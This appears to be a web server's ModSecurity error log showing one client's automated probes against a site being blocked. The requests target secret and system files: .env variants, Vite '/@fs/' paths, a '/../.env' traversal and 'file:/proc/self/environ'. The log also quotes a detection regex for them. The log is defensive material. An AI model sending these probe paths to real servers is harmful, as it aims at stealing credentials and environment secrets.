[Mon Oct 26 07:29:07.069403 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at85gwbLerFfv4dhcWT06QAAAAY"]
[Mon Oct 26 07:29:07.069659 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at85gwbLerFfv4dhcWT06QAAAAY"]
[Mon Oct 26 07:29:07.131457 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at85g7kwJvKDxgyGEF95uAAAABE"]
[Mon Oct 26 07:29:07.131900 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at85g7kwJvKDxgyGEF95uAAAABE"]
[Mon Oct 26 07:29:07.132232 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at85g7kwJvKDxgyGEF95uAAAABE"]
[Mon Oct 26 07:29:07.169729 2026] [authz_core:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37500] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 07:29:07.524200 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 100.27.153.9:26441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:29:07.701442 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at85g05VL05DK7ky7IO-cgAAAA4"]
[Mon Oct 26 07:29:07.702116 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at85g05VL05DK7ky7IO-cgAAAA4"]
[Mon Oct 26 07:29:07.702441 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at85g05VL05DK7ky7IO-cgAAAA4"]
[Mon Oct 26 07:29:07.703597 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at85g5_dbg3ptBnwDgQ4DwAAAAM"]
[Mon Oct 26 07:29:07.704079 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at85g5_dbg3ptBnwDgQ4DwAAAAM"]
[Mon Oct 26 07:29:07.704325 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at85g5_dbg3ptBnwDgQ4DwAAAAM"]
[Mon Oct 26 07:29:07.705554 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g3FRwTfT0KsFZ4erkAAAAA0"]
[Mon Oct 26 07:29:07.705871 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g3FRwTfT0KsFZ4erkAAAAA0"]
[Mon Oct 26 07:29:07.706115 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g3FRwTfT0KsFZ4erkAAAAA0"]
[Mon Oct 26 07:29:07.707288 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85gwbLerFfv4dhcWT07gAAAAY"]
[Mon Oct 26 07:29:07.707732 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85gwbLerFfv4dhcWT07gAAAAY"]
[Mon Oct 26 07:29:07.707973 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85gwbLerFfv4dhcWT07gAAAAY"]
[Mon Oct 26 07:29:07.731102 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at85g05VL05DK7ky7IO-cwAAAA4"]
[Mon Oct 26 07:29:07.731321 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at85g05VL05DK7ky7IO-cwAAAA4"]
[Mon Oct 26 07:29:07.731564 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at85g05VL05DK7ky7IO-cwAAAA4"]
[Mon Oct 26 07:29:07.732690 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at85g7kwJvKDxgyGEF95ugAAABE"]
[Mon Oct 26 07:29:07.733276 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at85g7kwJvKDxgyGEF95ugAAABE"]
[Mon Oct 26 07:29:07.733589 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at85g7kwJvKDxgyGEF95ugAAABE"]
[Mon Oct 26 07:29:07.740313 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at85g5_dbg3ptBnwDgQ4EAAAAAM"]
[Mon Oct 26 07:29:07.740839 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at85g5_dbg3ptBnwDgQ4EAAAAAM"]
[Mon Oct 26 07:29:07.741170 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at85g5_dbg3ptBnwDgQ4EAAAAAM"]
[Mon Oct 26 07:29:07.764144 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g7kwJvKDxgyGEF95uwAAABE"]
[Mon Oct 26 07:29:07.764237 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g7kwJvKDxgyGEF95uwAAABE"]
[Mon Oct 26 07:29:07.764645 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g7kwJvKDxgyGEF95uwAAABE"]
[Mon Oct 26 07:29:07.764988 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g7kwJvKDxgyGEF95uwAAABE"]
[Mon Oct 26 07:29:07.766174 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g05VL05DK7ky7IO-dAAAAA4"]
[Mon Oct 26 07:29:07.766731 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g05VL05DK7ky7IO-dAAAAA4"]
[Mon Oct 26 07:29:07.766968 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g05VL05DK7ky7IO-dAAAAA4"]
[Mon Oct 26 07:29:07.767017 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37566] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85gxatj5i5ZMjJaPkrPgAAABY"]
[Mon Oct 26 07:29:07.767522 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85gxatj5i5ZMjJaPkrPgAAABY"]
[Mon Oct 26 07:29:07.767779 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85gxatj5i5ZMjJaPkrPgAAABY"]
[Mon Oct 26 07:29:07.768367 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at85g33wwcXP35BsOaDuxQAAAAw"]
[Mon Oct 26 07:29:07.768850 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at85g33wwcXP35BsOaDuxQAAAAw"]
